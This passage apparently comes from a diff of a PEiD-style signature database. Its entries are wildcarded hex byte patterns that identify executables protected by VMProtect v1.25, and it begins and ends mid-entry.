E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 54 53 56 57 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 53 51 55 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 55 51 57 52 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 50 52 51 57 53 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 52 51 56 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 57 55 53 51 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 55 56 52 56 51 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 9C 57 55 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 50 56 53 57 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 52 57 53 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 51 9C 50 57 53 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 55 57 56 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 51 56 51 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 55 52 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 50 52 57 56 51 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 52 51 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 54 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 50 56 56 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 57 51 55 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 57 9C 51 53 52 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 52 51 9C 53 53 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 9C 55 53 56 52 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5B 5A 5E 58 5D 9D 58 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 9C 55 50 54 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 53 50 9C 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 52 53 56 50 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 53 55 51 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 52 55 51 50 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 51 53 55 56 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 51 50 55 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 51 55 52 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 50 52 56 51 50 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5B 5A 59 5E 5A 58 5D 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 55 56 56 57 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 51 52 55 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 57 53 52 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 56 53 57 52 51 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 52 56 53 57 51 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 55 56 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 52 56 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 51 56 57 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 56 51 55 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 53 50 56 53 51 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 56 55 56 9C 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 9C 52 50 57 56 53 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 51 50 55 53 56 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 54 56 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 52 57 51 9C 53 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 55 52 9C 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 55 56 51 57 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 55 51 53 53 57 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 53 51 55 57 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 55 52 50 55 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 52 51 55 56 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 53 55 53 51 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 51 57 53 50 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 51 52 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 52 53 52 56 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 51 53 57 56 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 53 52 50 55 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 55 57 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 57 53 51 52 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 5E 59 5D 5A 59 5B 5F 58 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 53 52 50 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F A5 D0 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F AD D0 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 47 50 39 C5 0F 87 ?? ?? ?? ?? 8D 4F 40 29 E1 8D 45 80 29 C8 89 C4 9C 56 89 FE 8D BD 40 FF FF FF 57 FC F3 A4 5F 5E 9D E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 57 52 51 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 57 50 55 56 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 52 56 50 53 56 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 57 55 56 51 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 55 50 52 9C 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 53 53 50 9C 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 53 50 9C 57 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 51 9C 56 50 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 52 51 55 55 56 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 57 9C 56 50 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 52 53 51 55 9C 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 52 53 51 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 66 8B 55 02 F6 D0 F6 D2 83 ED 02 20 D0 66 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E8 66 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E0 66 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 53 55 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 51 9C 55 52 53 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? 